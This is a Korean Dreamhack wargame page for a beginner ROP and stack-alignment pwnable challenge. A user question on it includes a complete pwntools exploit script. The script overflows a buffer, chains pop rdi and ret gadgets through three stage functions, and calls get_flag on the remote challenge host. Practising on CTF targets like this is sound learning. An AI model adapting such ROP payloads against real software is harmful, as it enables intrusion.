LEVEL 1

stack aligne test

pwnable
  • 문제 정보
  • 풀이 26
  • 난이도 투표 47
  • 질문 1
  • 최근 풀이자 190
  • 댓글 7

문제 설명

간단한 ROP 문제입니다! 근데 이제 스택 정렬을 곁들인

난이도 투표 47

질문 1

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
로되리안인데.. 정말 이유를 모르겠습니다.
from pwn import * import time p = process('./chall') p = remote('host8.dreamhack.games', 16761) e = ELF('./chall') context.log_level = 'debug' execute_stage1 = e.symbols['execute_stage1'] execute_stage2 = e.symbols['execute_stage2'] vulnerable = e.symbols['vulnerable'] get_flag = e.symbols['get_flag'] retgadget = 0x40101a pop_rdi_ret = 0x401565 p.recvuntil(b'key: ') stage1_key = int(p.recvn(10), 16) stage1_rdi = stage1_key ^ 0xCAFEBABE print('stage1_key.. ' + hex(stage1_key)) print('stage1_rdi.. ' + hex(stage1_rdi)) print('execute_stage1.. ' + hex(execute_stage1)) print('execute_stage2.. ' + hex(execute_stage2)) payload = b'A' * 0x10 payload += b'B' * 0x8 payload += p64(pop_rdi_ret) payload += p64(stage1_rdi) payload += p64(retgadget) payload += p64(execute_stage1) payload += p64(vulnerable) p.sendafter(b'Input: ', payload) p.recvuntil(b'key: ') stage2_key = int(p.recvn(10), 16) stage2_rdi = stage2_key ^ 0xF00DBABE print('stage2_key.. ' + hex(stage2_key)) print('stage2_rdi.. ' + hex(stage2_rdi)) payload = b'A' * 0x10 payload += b'B' * 0x8 payload += p64(pop_rdi_ret) payload += p64(stage2_rdi) payload += p64(execute_stage2) payload += p64(retgadget) payload += p64(vulnerable) p.sendafter(b'Input: ', payload) p.recvuntil(b'key: ') stage3_key = int(p.recvn(10), 16) stage3_rdi = stage3_key ^ 0x12345678 print('stage3_key.. ' + hex(stage3_key)) print('stage3_rdi.. ' + hex(stage3_rdi)) payload = b'A' * 0x10 payload += b'B' * 0x8 payload += p64(pop_rdi_ret) payload += p64(stage3_rdi) payload += p64(retgadget) payload += p64(get_flag) p.sendafter(b'Input: ', payload) p.interactive() 출제자님의 의도대로 풀기 위해서 각 함수를 전부 사용하여 익스플로잇 했습니다. 로컬에선 정상적으로 작동해서 get_flag 함수까지 호출 되지만, 리모트에선 첫 번째 페이로드가 전송되고 EOFerror가 뜨면서 작동이 안 됩니다... 첫 번째 페이로드 전송 후 p.recvuntil(b'key: ') 에서 응답 값이 없어서 멈추는데, 이유를 전혀 모르겠습니다..
F3dr3w
LEVEL 1

stack aligne test

pwnable

출제자 정보

YEONBA
.HACK 2025 참가자

First Blood!

avatar
p0her
Open Beta Tester
출제된 지 3분 만에 풀이 완료!

최근 풀이자 190

p&p
Dreamhack CTF S2 Ⅵ 참여
timpsa12
시스템 해킹 초심자
avatar
사용자
소통요정
avatar
sey0wan
대표 업적 없음
avatar
Mim!c09
리버싱 초심자
lvrobin
대표 업적 없음
avatar
eversinc33
대표 업적 없음
윤성환
대표 업적 없음
sh41k
대표 업적 없음
gooter
대표 업적 없음

댓글 7

avatar
mih0c
시스템 해킹 중급자
매우 쉬운
avatar
__Ph4nt0m_Byt3
워게임: 20
누가 인텐인가
haehae
대표 업적 없음
일단 성실하게 인텐으로...
우도우도
Misc 초심자
어디까지가 인텐인가
avatar
지후니ab1
대표 업적 없음
어디까지가 인텐인가
avatar
Rootsquare
바탈리온
함수의 반환 주소는 어떤 값으로든 덮을 수 있다.
avatar
z3rodae0
시니어
Good paths take time.